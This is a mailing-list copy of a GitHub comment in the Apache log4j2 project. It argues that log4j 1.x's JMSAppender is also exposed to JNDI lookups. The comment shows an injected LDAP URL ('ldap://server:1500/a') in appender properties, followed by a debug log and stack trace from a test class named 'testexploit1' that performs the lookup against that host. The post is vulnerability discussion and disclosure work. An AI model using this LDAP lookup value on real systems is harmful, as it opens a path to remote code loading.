TopStreamsNet edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991723301


   @ceki @remkop - it is not exactly true that it doesn't suffer from lookup 
issue though.
   
   If you look at how jndi works in 1.x you will find that there are two places 
where lookups are done - that is JMSAppender.java:207 and JMSAppender.java:222 
- if you set TopicBindingName or TopicConnectionFactoryBindingName to something 
that JNDI can handle - for example "ldap://host:port/a"; JNDI will do exactly 
the same thing it does for 2.x - so 1.x is vulnerable, just attack vector is 
"safer" as it depends on configuration rather than user input
   
   ```
   log4j: Trying to find [log4j.xml] using context classloader 
jdk.internal.loader.ClassLoaders$AppClassLoader@5cb0d902.
   log4j: Trying to find [log4j.xml] using 
jdk.internal.loader.ClassLoaders$AppClassLoader@5cb0d902 class loader.
   log4j: Trying to find [log4j.xml] using ClassLoader.getSystemResource().
   log4j: Trying to find [log4j.properties] using context classloader 
jdk.internal.loader.ClassLoaders$AppClassLoader@5cb0d902.
   log4j: Using URL [file:/home/user/Downloads/l4j/log4j.properties] for 
automatic log4j configuration.
   log4j: Reading configuration from URL 
file:/home/user/Downloads/l4j/log4j.properties
   log4j: Parsing for [root] with value=[DEBUG, stdout, jms].
   log4j: Level token is [DEBUG].
   log4j: Category root set to DEBUG
   log4j: Parsing appender named "stdout".
   log4j: Parsing layout options for "stdout".
   log4j: Setting property [conversionPattern] to [%d %-5p %c - %m%n].
   log4j: End of parsing for "stdout".
   log4j: Parsed "stdout" options.
   log4j: Parsing appender named "jms".
   log4j: Setting property [initialContextFactoryName] to 
[org.apache.activemq.jndi.ActiveMQInitialContextFactory].
   **log4j: Setting property [topicBindingName] to [ldap://server:1500/a].
   log4j: Setting property [topicConnectionFactoryBindingName] to 
[ldap://server:1500/a].**
   log4j: Setting property [providerURL] to [tcp://localhost:61616].
   log4j: Getting initial context.
   **log4j: Looking up [ldap://server:1500/a]**
   log4j:ERROR Error while activating options for appender named [jms].
   javax.naming.NamingException: LDAP connection has been closed
        at 
java.naming/com.sun.jndi.ldap.LdapRequest.getReplyBer(LdapRequest.java:133)
        at 
java.naming/com.sun.jndi.ldap.Connection.readReply(Connection.java:443)
        at 
java.naming/com.sun.jndi.ldap.LdapClient.ldapBind(LdapClient.java:365)
        at 
java.naming/com.sun.jndi.ldap.LdapClient.authenticate(LdapClient.java:192)
        at java.naming/com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2895)
        at java.naming/com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:348)
        at 
java.naming/com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(ldapURLContextFactory.java:60)
        at 
java.naming/com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(ldapURLContext.java:61)
        at 
java.naming/com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:204)
        at 
java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
        at 
java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)
        **at org.apache.log4j.net.JMSAppender.lookup(JMSAppender.java:245)**
        **at 
org.apache.log4j.net.JMSAppender.activateOptions(JMSAppender.java:207)**
        at 
org.apache.log4j.config.PropertySetter.activate(PropertySetter.java:307)
        at 
org.apache.log4j.config.PropertySetter.setProperties(PropertySetter.java:172)
        at 
org.apache.log4j.config.PropertySetter.setProperties(PropertySetter.java:104)
        at 
org.apache.log4j.PropertyConfigurator.parseAppender(PropertyConfigurator.java:842)
        at 
org.apache.log4j.PropertyConfigurator.parseCategory(PropertyConfigurator.java:768)
        at 
org.apache.log4j.PropertyConfigurator.configureRootCategory(PropertyConfigurator.java:648)
        at 
org.apache.log4j.PropertyConfigurator.doConfigure(PropertyConfigurator.java:514)
        at 
org.apache.log4j.PropertyConfigurator.doConfigure(PropertyConfigurator.java:580)
        at 
org.apache.log4j.helpers.OptionConverter.selectAndConfigure(OptionConverter.java:526)
        at org.apache.log4j.LogManager.<clinit>(LogManager.java:127)
        at org.apache.log4j.Logger.getLogger(Logger.java:104)
        at testexploit1.<clinit>(testexploit1.java:10)
   log4j: Parsed "jms" options.
   log4j: Parsing for [org.apache.activemq] with value=[INFO, stdout].
   log4j: Level token is [INFO].
   log4j: Category org.apache.activemq set to INFO
   log4j: Parsing appender named "stdout".
   log4j: Appender "stdout" was already parsed.
   log4j: Handling log4j.additivity.org.apache.activemq=[null]
   log4j: Finished configuring.
   
   ```


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: [email protected]

For queries about this service, please contact Infrastructure at:
[email protected]


Reply via email to